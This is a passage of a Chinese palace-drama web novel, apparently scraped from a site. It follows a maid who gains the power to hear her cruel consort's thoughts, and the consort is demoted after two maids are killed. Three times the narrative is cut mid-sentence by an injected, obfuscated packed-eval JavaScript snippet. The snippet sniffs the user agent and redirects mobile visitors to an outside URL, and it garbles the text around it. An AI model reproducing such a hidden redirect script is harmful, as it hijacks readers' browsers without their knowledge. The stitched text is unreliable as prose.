沈青青在说话的时候,炉火看的也好,没让火势过大或过小,晚霞看在眼里记在心中,不由对沈青青添了稳重的印象。 她也不想她亲自选的人还不如她。 沈青青不知道晚霞已经选定了她,只高兴银子送出去了,若是晚霞不收礼,她才该头疼,如今已经成了一半,另一半就尽人事听天命,端看晚霞姐姐心意。 若是晚霞看不上她,之后再寻出路就是了。 晚霞琢磨着婕妤该要起了,开始行云流水沏茶,沈青青在一旁悄悄偷师,视线并不明目张胆,不细看时真当她还在认真看炉火。 沏好茶后,晚霞嘱咐沈青青道:“下午的时候主子用不到我,届时你来寻我,我喜欢与你说话。” 沈青青心中欢喜,郑重点了点头:“奴婢知道了,必当谨记。” 待送别晚霞,沈青青单手握拳锤到手心,眼中分外晶亮。 - 晚霞进入殿内,拨开珠帘进入寝室,见杜婕妤面色不虞靠在玳瑁身上按头,便知道这是刚起来,脾气正大的时候,于是安静行了礼,将茶从托盘上取下来,放到床边的茶几上。 等玳瑁安抚好杜婕妤的脾气,珊瑚上前为其穿衣、净面、漱口,然后杜婕妤坐到梳妆台前的矮墩上,由朝露为她梳一个好看的发髻,同时接过递到手边正温的茶水慢慢饮上两口,放下,紧接着就是晚霞上前开始上妆。 等一整套流程结束,四个宫女不约而同松了一口气,连玳瑁都不能免俗。 午睡后的杜婕妤心情不错,或者说是昨日在御花园遇到了圣驾,且在好几个嫔妃面前,皇上独独给了她脸面,让她这几天心情都不会差。 只可惜昨日皇上本来要来她宫中的,结果却被政事绊住没来…… 思及此事,杜婕妤问玳瑁:“上午往乾清宫送的汤,皇上当真觉得不错?” 玳瑁只得将早上便已经告知婕妤的事再说一遍:“那是当然,奴婢带着刘顺亲自将参鸡汤送进了乾清宫,陛下身边的王公公将汤接了进去,等皇上用了,道了声很好,才出来说与奴婢听,奴婢一听便知道这是陛下在说给主子的,回来便原原本本说给您了。” “而同去送汤的明月阁高美人宫中的人,王公公接了汤却让她直接走了。” “皇上若不是念着您,怎么会说很好。这虽是说汤的,但奴婢觉得实在是在赞您。” 杜婕妤挺直脖子,唇边露出了满意的弧度。 她拨着手中的珍玩,语气一沉,带着得意道:“皇上对我的宠爱自然不是其他贱人能比的,高美人不是自喻清高吗,怎么巴巴到御前送汤?” 紧接着,玳瑁就着这个话题开始踩高美人来捧杜婕妤,把杜婕妤夸的浑身舒泰,当下就将手腕上的镯子褪下,赏给了玳瑁。 珊瑚见此见怪不怪,若最开始她还会规劝杜婕妤,但随着几次的斥骂和婕妤看她越来越不顺眼的情况下,她只能闭口不言,做好份内的事。 她原以为脾气不好的杜婕妤很快就会失了圣心,但见过杜婕妤在陛下面前娇俏知进退的模样,哪还能不知道主子的两副面孔。 而杜婕妤这一受宠,一持续就持续了两年。 皇上每月进后宫的次数并不多,但在这不多的次数中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279953|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜婕妤少说也能占一半,由此身上的圣宠便可见一斑。 且皇上还是太子时刚娶过两名侧妃,先皇便驾崩了,而登基后的皇上并没有从两位侧妃中选择一位立为皇后,也没有再娶一名贵女成为皇后,导致现在后位空置,妃嫔也不需要去请安,渐渐地,无人敲打的杜婕妤不仅一心扑在皇上身上,还脾气见长。 除了陛下,没有人能压得住她。 对于珊瑚来说,刚进宫还骄横带着孩子气的主子是那么和人意。 珊瑚的想法无人可知。 杜婕妤此时已经问到了晚霞身上:“晚霞,你离宫之前可想好谁来接替你的位置了?若没有,本主子可请皇上赐我一个奴婢了。” 晚霞:“回主子的话,已经有了人选,是主子宫内的三等宫女沈青青,她为人稳重手也巧,待奴婢教导过后就将她给主子送过来,主子若是不满意,届时也可再请皇上赐主子一名婢女。” 杜婕妤:“那你便好好教导。” 她对沈青青的名字不熟悉,也压根忘了曾罚过沈青青这一回事,实在是因为她惩罚奴才的次数太多,压根不记得。 晚霞道了声是,杜婕妤挥了挥手,让她离开。 - 沈青青和晚霞会合,时间紧任务重,晚霞先问了沈青青会什么。 沈青青一一回答。 晚霞思忖着:“你既擅上妆,便在我的脸上试一试,若是合格,便直接和我学泡茶。” 沈青青乖乖应下,准备好胭脂、妆粉、眉黛等古代化妆物品,第一步先擦掉晚霞原本的妆容,露出下面的娇颜。她这才直观看出来晚霞是故意把自己画的沉稳,好能服众。 她按照杜婕妤的喜好把晚霞往明艳了的方向画,但她不是一味的追求明艳,反而着重突出娇和嫩,以及少女气息。 所以就有点威严不足的样子,这样即便耍横,别人也只会以为你在撒娇。 画完后,沈青青将铜镜递给晚霞,铜镜虽然不如在玻璃上面镀银得来的镜子那般纤毫毕现,但开镜好的铜镜清晰度也是不差的。 晚霞望着镜子中的自己一怔,少女般鲜活的气息扑面而来,似乎她没有在宫内呆过七年,而更像在家中娇养的女子一般。 不像她,却又似乎是她的原本模样。 沈青青很满意她给晚霞画的妆容,直接立竿见影将容貌拔高了一个度。 “好看吗?” 晚霞抚着脸,抿唇看向镜中人:“好看。” 沈青青在妆容这块底子不弱,晚霞将杜婕妤最喜欢的几个妆容教给她:“杜婕妤每日想要的妆容不同,若拿不准,便请教一下珊瑚。” “还有,我这里有一个养颜的方子,是婕妤用惯了的,也有效果,今天也一并交予你了。” 沈青青没想到还有这一重惊喜,晚霞可以说是倾囊相授了,她略带迷茫思索着晚霞姐姐的用意。 但晚霞什么也没要,便准备开始教沈青青泡茶。 沈青青思绪却逐渐清晰,拉住晚霞的手腕噗通跪在晚霞面前:“我有一个不情之请……姐姐教青青这么多,青青无以为报,我想拜姐姐为师父。” 晚霞心中自是喜欢这个小女孩:“那你现在应该叫我什么?” 沈青青十分机灵:“师父!” 5. 第 5 章 沈青青脑子不差,在看过晚霞师父泡茶后,她就能像模像样地自己来了一遍,晚霞看着她的过程,在她出错的时候及时指点出来。 晚霞道:“主子受宠,陛下也会经常赏些珍贵茶叶到织云殿,给主子们上茶,一定要紧着贵重茶叶来,万不能以此充好,主子们的舌头刁,轻易能尝出不对。另外,每月最珍贵的茶叶要留一部分出来,预备着皇上哪天到了织云殿,皇上万金之躯,更不能糊弄。” “徒弟一定牢记师父的教诲!”沈青青的目光定定,确保将晚霞师父的每一句话都记在心里。 晚霞继续道:“此外,茶水间虽然有油水可捞,但也需要知道些分寸,更不能让人抓住把柄……扯远了,我再给你说茶吧,端到主子面前的茶水,这色、香、味都得具备,高明的茶师……” 晚霞对茶一道的基本功无疑是扎实的,她教沈青青认茶制茶品茶,一下午的时间一晃而过,沈青青离开茶水间的时候,一肚子的茶水,就差被腌入味儿了。 不过还真叫她得出了些趣味。 越累,她越是觉得充实。 晚上,夜色渐身,打探到皇上翻了织云殿的牌子,杜婕妤便早早收拾好,穿着一件能凸显婀娜身姿的银丝锦绣百花裙,斜梳一个倾髻,簪了一个翡翠蝴蝶钗并几件相得益彰的发饰,站在了织云殿前。 不管近看远看,配着殿前的灯笼,都给人一种朦胧之感。 只是春寒料峭,又是夜里风凉,杜婕妤为了不显得臃肿,身上难免寒凉。 织云殿灯火通明,景阳宫主殿却是已经歇下了,不见一丝亮光,整个宫殿宛若夜间的巨兽一般沉默。 作为三等宫女的沈青青她们,自然也在躬身候着,不过离杜婕妤有一定的距离,织云殿的人都在,在迎接皇上的排场上是十足的。 冬儿因为脸上抱恙,便歇在屋内。 在来之前,沈青青也再次给冬儿上了一次药,不过时间太短,连伤口都没结痂,看不出什么效果,她只能叮嘱冬儿脸上再痒也不能动手去挠,痒代表长肉,挠坏了就长不好了。 冬儿被唬住了,加上及其在意这张脸,自然把话听了进去。 夏蝉和文心站在沈青青身边,倒没多余的动作,只是白日的活终究是累到她们了,不过站了一会儿就感觉双腿酸软,动了好几次。 杜婕妤俯视着织云殿内躬身候着的奴才,简直对他们的动作一览无余,看到夏蝉和文心,当下愠怒地沉了脸。 【两个胆大包天的恶奴,居然不敬她们主子,皇上来了,岂不是认为我管教不力,连两个小小的宫女都管教不好?】 【要是因此恶了我,可怎么办?】 一片好心情遭到破坏,她低声斥骂:“狗奴才!” 珊瑚闻言一边动作极小将宫女太监们扫了一遍,一边向杜婕妤请罪:“主子息怒,是奴婢没有管好底下的宫人,之后必当好好管教。” 她从杜婕妤身边悄然离开,迅速来到夏蝉和文心面前。 这时,夏蝉和文心哪能不知道婕妤骂的是她们,心中是既惶恐又委屈,她们哪里就坏到成了狗奴才? 她们连忙跪下,六神无主到泪水唰一下涌了出来。 而旁边的沈青青,她在恭谨地发呆,因为刚刚,婕妤连说了三句话,将责骂的缘由都表明了,为什么夏蝉和文心还这么委屈? 要知道,杜婕妤作为一个标准的只爱皇帝的蛇精病,有这样一个发难理由实在正常不过。 她们做奴才,吃点主子的亏那是家常便饭,没有人是可以去计较的。 这个时候,请罪是最优解,而不是像夏蝉和文心这样咬着唇像受到了天大的委屈一样。 果然,婕妤的下一句话便是: 【好哇,不服管教的狗奴才,倒显得我是个恶人了,贱婢!】 杜婕妤此话一出,更是告诉别人她在盛怒,沈青青条件反射想跪下磕头,可其他人却一副稳如泰山事不关己的样子,怔愣之下,她也只好堪堪稳住身形。 但,好奇怪啊,婕妤在织云殿的威势不如从前了吗?为什么没有人在乎婕妤啊啊啊—— 沈青青心中土拨鼠尖叫,但叫她跪是不可能跪的,因为这一跪岂不显得就她机灵,枪打出头鸟,要不得要不得。 恰在此时,圣驾出现在了景阳宫门口,杜婕妤当即收拾好情绪,准备好迎接皇上。 身穿黄色龙袍的男人手拿串珠走到织云殿前,身后随侍的人员立刻就将院子占满了。 即位两年的皇帝年龄只有十八九岁,但因自小就被封为太子,被当成未来继承人培养,跟着先帝修习帝王之术,现在的他格外深沉,喜怒不形于色,让人猜不出他心底的想法。 即便一直受宠的杜婕妤在他的目光下都不敢有丝毫恃宠而骄的情绪,甚至有时候还有点胆寒。 他们这个皇帝顺风顺水的前半生唯一的遗憾,恐怕是先帝还没给他安排一位太子妃就率先驾崩,毕竟当时的两位侧妃均是出自名门,就差配一个身份更高的太子妃了。 今上被先帝取名为纪宸,宸是北极星所在,皇帝的居所,也有着王位、帝王的意思。由此可见皇帝对他这个中宫所出的嫡长子的期许。 而纪宸也不负先皇的期盼,成长成了一个能稳住大局的皇帝。登基的这两年,他平衡朝中各方势力,推行一系列仁政,轻徭薄赋,通过科举广纳人才,培养自己的门生…… 杜婕妤行礼,娇滴滴唤道:“嫔妾参见皇上。” 织云殿中的人跟着行礼,直到皇上身边的钱全忠大公公中气十足念了声起,众人行止有素结束行礼。 “怎么不在屋里等着。”纪宸关怀了一句,还不待杜婕妤因这句话高兴地冲他撒娇,他的视线就扫过跪在地上的两名宫女,“这是怎么了,又惹你们婕妤生怒了?” 这个又字用得极妙,给杜婕妤一种皇上念着她,知道她宫里的恶奴欺她,也给跪在地上的两名宫女一种皇上早知道了杜婕妤平日的行径。 杜婕妤娇气道:“皇上,这两名宫女以下犯上,嫔妾这才让珊瑚小小地惩戒了她们一下,她们这般惶恐,还以为嫔妾怎么了她们似的。” 【要不是皇上今日来,这等以下犯上的贱婢,就该让珊瑚狠狠扇她们巴掌。】 沈青青觉悟再不高,此时也意识到了不对,她震惊抬头看向杜婕妤,发现她已经闭上嘴,冲皇上皱了皱鼻子,尽显无辜,可明明她在说话啊。 沈青青的视线太过震撼,沉浸在皇上来的喜悦中的杜婕妤没了平时的敏锐,反而纪宸察觉到,扫了一眼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279954|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈青青还没看清皇上长什么样,感受到这一眼,便立刻垂首,恨不得将头埋起来。 纪宸收回视线,对杜婕妤的话不置可否。 相较而言,夏蝉和文心就远没有杜婕妤那般聪明——即便心中不以为然,也没有摸准皇上的态度,面上还是将此事往小了说,言语中挑不出错。 文心喊冤道:“奴婢惶恐,不知道怎么就惹了主子生气,主子要打要罚奴婢甘愿受之!” 文心猛猛磕头,涕泗横流,惶惶不安到身体都在抖。 夏蝉也跟着磕头,不外乎是请罪,请婕妤息怒。 杜婕妤指着她们,不敢相信她们竟然胆大包天到在她面前给皇上上眼药,当下撕了她们的心都有了,她尖声道:“贱婢!”又泪眼朦胧看向纪宸,“请皇上给嫔妾做主,这等恶奴都要爬到嫔妾的头上了!” 沈青青手上颤了颤,纯粹是因为杜婕妤话音刚落,她尖锐而拔高了心声就响了起来,调高到振得沈青青耳膜疼。 而那心声中,几乎全是毒骂夏蝉和文心的,少少地掺杂着几句皇上应该对她垂怜的话。 如果这个时候沈青青还不知道自己开启了金手指——能听到杜婕妤心声的能力,她也就白看了那么多小说了。 而既然能听见杜婕妤的心声,即便明知她是个实打实的蛇精病,沈青青仍是想要往上晋升的。 宫中的主子大都是朝廷官员的女儿,标准的大家闺秀,但在这个尊卑分明的时代赌一个大家闺秀对下人也善良的几率那可太小了。 而且以沈青青读过那么多小说来看,再纯粹的少女,被困在宫中,被恩宠牵绊心神,要么直接变了心性,要么会郁郁而终。 既然如此,那她直接找个癫狂的,岂不是一步到位,毕竟再性情大变也变不到哪儿了。 当然,现在的杜婕妤不至于说是癫狂,她只是一个有两副面孔的恶毒小姑娘罢了,他们不是皇帝,又怎么要求她讨喜又可爱呢? 最后,织云殿是个热灶,杜婕妤有稳定的恩宠在身,别人想挤还挤不进来呢。 全部人都等着纪宸发话,而沈青青因为杜婕妤心声太吵,在放空心神。 纪宸没有再深究两个小宫女有什么冤屈,一锤定音道:“将这两个宫女撵出织云殿,爱妃,你的性子越发差了。” 杜婕妤哼声,拿手帕擦了擦不存在的泪痕,扭捏道:“皇上惯爱取笑嫔妾。” 她对这个处理结果勉勉强强算是满意吧。只是…… 【我绝不会放过这两个贱婢!】 纪宸神情寡淡进入织云殿,杜婕妤提起裙子跟上,像个百灵鸟一样唤着:“皇上,等等嫔妾呀。” 听惯了杜婕妤的心口不一,沈青青倒没什么意外,她回头看了一眼大失所望的夏蝉和文心,替她们掬一把同情的泪水。 皇上这个意思明显有点看不惯杜婕妤了,但沉浸在情爱中的女人什么都听不见,当着这么多宫女太监的面说她性子越发差了,还当是在夸她呢。 将夏蝉和文心赶出织云殿,明面上是站在了杜婕妤那边,可这又何尝不是将她们隔绝开,免得皇上走了,杜婕妤再肆无忌惮发难,届时,可谁都救不了两人了。 沈青青约莫着夏蝉和文心离了织云殿之后的去向,皇上许是会过问。 6. 第 6 章 现在已经到了宫中宵禁时候,无令不得在宫中行走,珊瑚只得让侍奉在外殿的太监小九儿和小定子将夏蝉和文心看管起来,等明日天亮就将两人送走。 圣驾临幸织云殿,只需要二等宫女在娘娘身边伺候就行了,至于沈青青这种三等洒扫宫女,皇上带来的人太多,已经没有她站的位置了。 沈青青乐得清闲,准备回到宫女住处和冬儿说一下情况,免得她摸不清状况。 临走前,沈青青看了眼在外殿等着的乾清宫领事公公钱全忠,他正低声吩咐着让下面的人将皇上可能会用到的东西准备好。 钱全忠身材并不佝偻瘦弱,反而身材魁梧,传闻他力大无穷,曾单手捏断过刺客的脖子,也有勇有谋一路混成了先帝最宠信的太监,他为先帝扛过刀,试过毒,然后在先帝驾崩后又跟了今上,成了今上身边第一得用的太监。 至于第二得用的,应该是一个叫王积贵的太监,这位是在陛下还是太子就跟在身边的人,只是地位稍逊于钱全忠。 王积贵不经常跟在皇上身边来到后宫,所以沈青青也不知道人家长什么样。 翌日,沈青青早早起来干活,但即便她起的比鸡早,也比不过摸黑就要去上朝的皇帝,她刚和冬儿在织云殿外扫了一刻钟地,朝露便奉婕妤的命令来传唤她们。 沈青青和冬儿心惴惴进入织云殿内。 杜婕妤今日起得格外早,一般她承宠后在起身恭送皇上离开后,因为太后离宫,皇后未立,不用请安的缘故,会去睡个回笼觉,直到睡透才会起身。 然而今日她从皇上离开后,就没再睡着,原因很简单: 【昨夜皇上只草草要了一次,明显兴致不高,平常再怎么说也会有两回。】 杜婕妤疑惑中带着忧愁。 猝不及防被糊了一脸心声的沈青青狠狠掐了手掌一下。 啊啊啊我没有听床的癖好啊!! 求不要再想了! 【一次能怀上的几率太小了,两次就刚刚好,虽然不想怀孕成大肚婆破坏身材,那样皇上就不喜欢我了,可父亲的话又不能不听。】 【也不知母亲送进来的易孕偏方有没有效果,若是顺利生下一个皇子,应是和他父皇一样英明神武,天资出众。】 【这么看来,怀孕没什么不好的。】 【早知道初进宫后就不避孕了,可为了皇上能长久来我宫中,这也是必要之举。】 【皇上一向宠我,昨日对那事不勤勉一定是我的错觉,或许是朝堂上有什么事让皇上忧心了。】 【再给王积贵使些银子,打探些皇上最近爱吃什么,晚霞也不能这么早放出去,晚几天,至少皇上要再来织云殿三次。】 【就说我舍不得晚霞,多留她几天,别人也挑不出错。】 被杜婕妤的心声刷屏的沈青青,心情高低起伏着,像在谱曲。 万万没想到,杜婕妤居然在避孕!要怀孕的念头还是杜家催才有的…… 恐怕宫里的娘娘没一个能对得上杜婕妤的脑回路,哪宫的娘娘不想赶快怀上皇嗣,让自己有个长久的保障,偏偏承宠次数最多的杜婕妤半点不在乎,只心心念念着宠爱。 一时的恩宠哪比得上一世的安稳? 不过现在后宫中还没有后妃传出好消息,杜婕妤不急可能是因为环境实在太好了,完全没有紧迫感。 皇上登基,当时的两位侧妃分别被封了德妃和贤妃,德妃李舒意居住在永寿宫主殿,贤妃萧裳月是景仁宫主位,作为位份最高的两位妃嫔,贤妃和德妃被下旨共同管理后宫。 另外,宫中的妃嫔同是在太子府出来的还有惠贵嫔、卫贵人。 因当时太子府的人太少,圣上登基后的第一次大选在太后的主持下一口气选了七位美人来填充后宫,杜婕妤和高美人就是这一批,除此之外还有一位名不见经传的颜修仪颜英华,颜家是太后母家,即便太后不在宫,每一次的大封后宫,颜英华总是榜上有名,只是也因太后出宫礼佛,颜修仪几乎不出她的长春宫,所以存在感不高。 惠贵嫔与颜修仪交好,常常去长春宫与颜修仪说话。 至于剩下的四位,两位为宝林,两位为才人,没什么出奇。 沈青青和冬儿给杜婕妤请安,因为杜婕妤在想昨晚的事,并没有理会她们,她们只能跪在那里,等着杜婕妤吩咐。 杜婕妤哼了一声,心声没再继续,睨了沈青青和冬儿一眼:“平日是本主子太过宽容,竟容得贱婢大了心,敢和主子叫板了,我今日若不杀杀你们的威风,都要以为我是个好脾性的,来日满宫都要骑在我头上了!” 杜婕妤说的怒极,将手边的核桃扔到了两人面前。 沈青青和冬儿惶恐:“主子息怒,奴婢们不敢。” 因夏蝉和文心惹出的怒气,大抵都要她们来受了,杜婕妤迁怒起来是丝毫理也不讲的。 “不敢?”杜婕妤嘲讽扯唇,站起来在她们周围走了一圈,压迫感满满。 沈青青深深伏在地上,只能看见杜婕妤那双绿色珍珠缠枝绣鞋。 这次杜婕妤的宗旨有两个,要这些小宫女知晓她的厉害,树立威信,还有就是加强管理。 好不容易从织云殿中退出来时,冬儿后背都要被汗浸湿了,沈青青没什么表情,这个模样落到冬儿眼里,就是沈青青越来越沉稳了,不由抱了要向沈青青学习的心思。 而沈青青那么镇定的原因,实在是能听见杜婕妤心声的能力实在是个作弊神器,知道杜婕妤心中所想,她带来的威压自然减半,余下的只需要沈青青自己做好表情管理就行了。 祸福相依,这一趟并非全无收获,杜婕妤为了加强管理,实行了老带新的策略,比如晚霞跟着珊瑚那样,沈青青被分给了晚霞,冬儿则跟着朝露,如此,二等宫女有人可用,还不担心三等宫女无人监视。 她们洒扫庭院、擦洗东西、烧煤烧水的活依旧在,按理说三等宫女需要守夜,但杜婕妤习惯心腹来守夜,因此珊瑚和玳瑁就要受累很多,即便珊瑚和玳瑁不能上值,也会是晚霞和朝露来,原没有她们什么事。 但大宫女操心守夜,手中的活就得下放,一级一级下放,织云殿三等宫女没比其他宫殿少多少活。 今天沈青青和冬儿的活就很重,走了两个人——珊瑚几乎是在景阳宫宫门开的那一刻就将夏蝉和文心打包送走了,片刻也不敢耽误,唯恐迟了主子见到又要生怒。 - 织云殿内。 杜婕妤坐在太师椅上,八仙桌上摆了一盘棋,棋盘上是一个残局,她皱眉下了几枚棋子,便又将自己困住了,不明白陛下为什么要让她来解这个残局,她明明只是略懂棋艺,跳舞才是她擅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279955|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长的,只可惜入宫两年根本不需要靠跳舞争宠。 越下越烦躁,她将数枚棋子抓在手里,往外挥去。 明明昨日皇上来了,她现在应该是开心的。 杜婕妤想了想,还是将原因归到昨晚的两个贱婢上,于是对玳瑁吩咐:“将刘顺带过来。” 刘顺是织云殿内殿的侍候的太监,从杜婕妤分宫后就跟着了,因为杜婕妤第一眼不喜欢他的眼神便一直是最低等的太监,后来不知为何攀上了玳瑁,玳瑁常喜欢使唤他,又在杜婕妤面前时不时提起刘顺,杜婕妤好奇,便再见了次刘顺,那一次,刘顺低眉顺眼,都没让杜婕妤看见他的眼睛。 杜婕妤心想这人识趣,就在之后升了位份后将刘顺提拔为内殿公公。 刘顺知道杜婕妤厌他的一双眼,即便升到了内殿,在杜婕妤不需要他时轻易不会出现。 这次杜婕妤找刘顺,因为环顾整个织云殿,恐怕只有刘顺能干成那事。 刘顺快步走进内殿:“请婕妤安。” 杜婕妤知道这件事不宜那么正大光明,于是让珊瑚出去,只留了刘顺和玳瑁在。 “给本主子办成一件事,织云殿的领事公公就是你的了。” 织云殿有主事公公,还是刘顺师父,吃的胖胖的,杜婕妤看他有福气便一直用着,可想要刘顺为她所用,总得给点利诱。 刘顺不假思索:“请婕妤吩咐。” 人为财死鸟为食亡,父死子继踩人登己。 - 红日西斜,落日融金,灰喜鹊划过一道道宫墙。 乾清宫里,纪宸饮了一杯浓茶,随口一问道:“织云殿的那两个宫女去向何处?” 钱全忠道:“拂晓的时候被杜婕妤身边的珊瑚送回了尚宫局,但下午的时候都落水身亡了……” 即便侍奉了两位帝王,钱全忠也不得不承认这是他第一次见到后妃这么明目张胆,刻不容缓的杀人。 纪宸的动作一顿,也有点震撼:“……可查清是谁所为?” “织云殿中的刘顺今日去了尚宫局,从两名宫女落水的时间来看是符合的,另外杜婕妤下午将刘顺升为了主事公公,其余细节还待查证。” 纪宸面容冷凝:“不用查了,刘顺赐死,杜婕妤降为宝林,迁居于文思斋,文思斋更名为思过斋,派嬷嬷前去申斥,知情此事未加规劝的人杖三十,贬离杜宝林。” 钱全忠提醒道:“许大人的妹妹晚霞还在杜宝林身边。” 纪宸将手中的串珠拍到御案上:“下了恩典,怎几日了,还不离宫?” 钱全忠哪能不知皇上在迁怒,许大人妹妹未离宫他们都知道,不然为什么这几天皇上频繁给织云殿面子,即便昨晚对那种情况不虞,也没有当场发作。于是钱全忠祸水东引道:“杜宝林想多留那宫女几日。” 纪宸点了钱全忠:“此事你去办,务必要恩赏到位,不可寒了许卿的心,今天就要办好。” 另点了钱全忠的徒弟,将自己的命令传达到位。 钱全忠和他徒弟一前一后出了乾清宫,乾清宫内王积贵上前为纪宸换茶,他身形偏瘦文气,更像一个读书人而非一个太监,即便皇上将事交给钱全忠去办,他也没有半点争锋的心思,似乎一切都淡淡的。 换完茶,他躬身退下,露出没气色的薄唇和俊逸的容貌。 7. 第 7 章 沈青青在晚霞师父处结束一个时辰的学习,赶着擦黑的天回宫女宿舍。 上个月的月例已经发放,还没揣进怀里生出温度,就被她转手还给了冬儿,欠账的感觉总归不那么让人舒坦。 正在她转脚离开前殿的时候,皇上身边的大总管钱全忠进了景阳宫,织云殿外殿的太监见到,心思活络通知织云殿里的杜婕妤。 杜婕妤闻言,草草收拾了一番从殿中出来,迎面撞上钱全忠在找宫女晚霞。 杜婕妤牵起唇角:“钱公公怎么来了织云殿,可是皇上有什么吩咐?” 钱全忠这个时候仍不忘行礼,一眼一板道:“请小主安,皇上命奴才今天将晚霞姑娘送出宫去,烦请小主尽快将晚霞姑娘找出来。” 杜婕妤心想晚霞她还留着有用呢,可还不待挽留几句,晚霞出来,冲杜婕妤服了服身,略带疑惑看向钱全忠。 钱全忠见到人,伸手接过后面小太监带来的圣旨:“宫女许氏萝图接旨——” 许萝图是晚霞的名字,而晚霞是后来杜婕妤给她赐的名字。 许萝图深吸一口气,出列,跪在圣旨前方:“奴婢宫女许萝图。” 钱全忠开始宣旨:“咨尔宫女许氏萝图之兄,外都水监丞司许椿龄治河、献治水良策有功,今特恩其妹……” 圣旨特许许萝图提前出宫,并赐下了金银若干,以及对许氏兄妹的夸赞,最后催促许萝图尽快出宫。 钱全忠念完,将圣旨一合交给叩谢皇恩的许萝图,然后催促道:“许姑娘,得尽快了,不然宫门落锁就会麻烦些,我已经着人通知令府带马车来接人了。” 许家在许椿龄做官前并不富裕,甚至贫的漏风,许府的宅子和马车还都是皇上赐的,因此钱全忠对这些有点了解。 若杜婕妤没有犯错,且好好将许氏女送走,本来是不需要这一道圣旨的,而现在状况有变,这道圣旨便全了许氏在宫中多年的颜面,让她风光出宫。 许萝图道了声是,便疾步回宫女房收拾东西,沈青青知道耽误不得,见状连忙去帮师父,两人齐力,很快就将行李打包好了。 沈青青连忙道:“恭喜师父早早出宫,徒儿祝师父日后一路顺风,日日如意!” 许萝图指点她道:“我见钱公公对待杜婕妤的态度有异,现下我又急急出宫,恐怕织云殿有动荡,我走后你先不要冒头,见机行事。” “我记住了,师父不用担心我。” 沈青青没接触过钱全忠,判断不出今日和平常的她有什么不同,但她刚刚站的位置有优势,若是没看错的话,景阳宫外还候着一队太监,动向不明。 送完许萝图,她找冬儿一起避一避好了。 许萝图点了点头,背上包袱与沈青青在宫女屋舍门口分别,然后她走向钱全忠:“钱公公,我收拾好了。” 钱全忠开路:“那便走吧。” 被不冷不淡忽视了好一会儿的杜婕妤甩了甩帕子,心中恼恨,这钱全忠软硬不吃,无论她问什么,都闭口不言,之后见了皇上,她必要好好告他一状。 相较而言,皇上身边的王积贵倒更知情识趣。 钱全忠的人带许萝图走后,钱全忠的徒弟钱继带着一名面容老态刻薄的嬷嬷和数名身强力壮的太监与他们擦肩而过,进入景阳宫。 杜婕妤一惊,玳瑁认出这是御前的人,连忙对杜婕妤道:“主子,这是钱公公的徒弟,钱继公公,在御前当值。” 钱继因为本事不到位,一直被钱全忠圈在乾清宫打磨,算起来,这还是他第一次出来办办事。 玳瑁经常奉杜婕妤的命,将御前的人认了个七七八八,能送礼的她也都按照府里夫人吩咐的送了,不然以婕妤的脾性,初入宫哪能这么顺利? 宫里的美人不少,杜婕妤能拔得头筹除了后来摸清了帝王吃软不吃硬的脾性外,前期的试错必不可少。 杜婕妤拿帕子嫌弃挥了挥:“你们这是做什么?” 钱继的声音调起的很高,力求让在场的人都能听见:“奉皇上口谕,婕妤杜氏明漪纵奴杀二宫人,蔑视皇威,视宫规于无物……犯事宫人刘顺赐死,明知内情未加规劝的宫女玳瑁,杖三十,驱离皇宫,婕妤杜明漪贬为宝林,迁居思过斋,另赐教养嬷嬷每日申斥,望尔改过自新……” “杜宝林,奴才可传达清楚皇上的意思了?” 杜明漪缓缓皱眉,陛下要贬她为宝林? 这不可能,这不可能! 杜明漪抓住玳瑁的手,无意识掐进去:“玳瑁,你听明白皇上说的什么了吗?” 玳瑁手上一疼,脸上流露出害怕:“皇上说要贬您为宝林,杖奴婢三十,是刘顺!对,刘顺的缘故,您不是只吩咐让刘顺教训夏蝉和文心那两个宫女吗?可只教训了两个宫女,又怎会如此……” 玳瑁眼中迷茫,她全程听完她家小姐让刘顺去狠狠教训那两个宫女,最好毁了容终日只能干低贱的活。 刘顺干好了,回来禀报杜明漪,杜明漪一高兴就给他升职。 但杜明漪从前也不是没干过更恶劣的事情,比如当众甩了高美人两巴掌,在御花园羞辱勾搭皇上的梅才人,故意把卫贵人练了半个月的琵琶弦弄断,让她不能在宴会上出风头等等不胜枚举。 可桩桩件件,即便闹到了皇上那儿,也没有现在惩罚这么严重。 “对啊,我只是让刘顺去教训两个人,怎么会把堂堂婕妤贬为宝林?”杜明漪大感荒谬,用手指着钱继的鼻子恨声。 钱继的眼睛一眨不眨:“宝林可是漏听了是您指使刘顺杀那两个宫人,宫人命再贱,也不是您能决定生死的。” 宫里处罚宫人都要依照宫规,宫规里有一条就是不得滥用私刑,更遑论去杀两个人了。 “我……刘顺,找到刘顺就一切清楚了,我是冤枉的!”杜明漪推着玳瑁去找人。 